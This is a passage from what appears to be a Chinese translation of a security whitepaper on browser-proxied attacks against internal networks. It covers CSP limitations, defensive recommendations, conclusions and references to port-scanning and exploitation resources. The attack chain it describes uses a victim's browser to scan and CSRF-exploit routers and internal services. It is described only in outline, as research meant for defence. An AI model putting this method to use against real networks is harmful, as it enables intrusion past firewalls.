但请注意,CSP 不是可以起到所有防御作用:例如,使用 HTTP 302/Location HTTP 头的重定向将不符合 CSP 配置。绕过 CSP 规则的其他示例也存在于 [28] [29] [30]。出于这个原因,CSP 本身并没有提供完美的保护,尽管它确实使攻击更加困难。
对于防护的总结
我们知道,在所有情况下实行上述所有建议可能并不实际,可能是由于资源有限,浏览器默认设置或供应商未对易受攻击的设备进行修复。我们建议对于这些情况至少实施检测。
总结
我们已经展示了一个攻击链,这些攻击即使面对防火墙也能从公网发起攻击:通过受害者浏览器,你可以在内网查找主机和开放端口,对开放端口做指纹识别并最终利用它们。此攻击链工作所需的唯一安全问题是,要利用的服务容易受到 CSRF 的攻击。除此之外,攻击的每一步都依赖于按照预期工作的事情。
除了描述这些攻击的技术细节之外,我们还讨论了检测它们的方法,并给出了减少攻击面的建议。
显然,现代 Web 浏览器不能很好的防护从公网发起使用受害者的浏览器作为代理访问内网的攻击。此外,使用受害者的浏览器作为代理不仅会绕过外围防火墙,还会绕过任何基于主机的防火墙。防火墙可能会记录从外部站点获取恶意 JavaScript,但对内网的后续攻击甚至不会通过外围防火墙。
浏览器供应商应考虑默认禁止从公共到私有的方向的跨越公共/私有 IP 边界的连接。(但必须允许相反的方向,因为许多内部页面可能出于完全正当的原因而获取外部资源。)
网络安全设备(防火墙,IPS,Web 代理等)的供应商应该拥有可靠的 JavaScript 反混淆糊引擎,以帮助检测这些攻击。在许多情况下,恶意代码的混淆会经常发生变化,而代码的基本意图则不会。因此,对于反混淆版本的恶意代码,可以更加可靠地检测从公共 IP地址到私有 IP 地址的连接。 通过远程跨域 JavaScript 进行的本地攻击代表了经常被忽视的攻击面,企业用户和家庭用户都面临着本地攻击的风险。大多数家用路由器都有 CSRF 漏洞,很少安装最新的补丁,而且它们通常使用已知的固定 IP 地址 - 这些属性使它们易于定位。
从积极的方面来说,本地攻击不仅需要技术准备,还需要社会工程的一部分。需要欺骗受害者访问可能执行本地攻击的恶意站点。不幸的是,历史表明,攻击者通常会成功地欺骗受害者访问恶意网站。
此外,我们还展示了如果外部和内部 Web 服务器共享相同的源,攻击者可能如何在内部网络上浏览某些站点。
最后,我们要强调的是,我们在本白皮书中展示的攻击应该成为提高内部网络安全性的理由,无论是服务器还是工作站。处于侦察目的绕过同源策略,浏览内网的边缘情况以及通过 CSRF 攻击内部服务都强调了内部应用程序的安全性必须得到认真对待的事实。即使你信任你的用户不会攻击你,你自己的用户也不是你唯一关注的问题。
除了前面概述的检测和保护技术措施之外,还需要对管理员和最终用户进行培训,特别强调内部安全非常重要。正如我们所示,外围防火墙完全保护内部网络,并且基于主机的防火墙完全保护本地服务是一个有缺陷的假设。
资源
[1]: https://www.slideshare.net/netsparker/hacking-vulnerable-websites-to-bypass-firewalls
[2]: https://blog.beefproject.com/2014/03/exploiting-with-beef-bind-shellcode_19.html
[3]: https://bugs.chromium.org/p/project-zero/issues/detail?id=1663
[4]: https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#Cross-origin_network_access
[5]: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
[6]: https://en.wikipedia.org/wiki/DNS_rebinding
[7]: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
[8]: https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html
[9]: https://www.secforce.com/blog/2012/11/inter-protocol-communication/
[10]: https://en.wikipedia.org/wiki/Inter-protocol_exploitation
[11]: https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/2018/cprf-1.pdf
[12]: https://chromium.googlesource.com/chromium/src/+/master/net/base/port_util.cc
[13]: https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
[14]: http://net.ipcalf.com/
[15]: https://defuse.ca/in-browser-port-scanning.htm
[16]: https://github.com/aabeling/portscan
[17]: https://github.com/SkyLined/LocalNetworkScanner/
[18]: https://blog.skylined.nl/LocalNetworkScanner/
[19]: https://cirt.net/Nikto2
[20]: http://yokoso.inguardians.com
[21]: https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#Changing_origin
[22]: https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
[23]: https://groups.google.com/forum/#!topic/jenkinsci-advisories/lJfvDs5s6bk
[24]: http://s3.amazonaws.com/alexa-static/top-1m.csv.zip
[27]: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
[28]: https://blog.compass-security.com/2016/06/content-security-policy-misconfigurations-and-bypasses/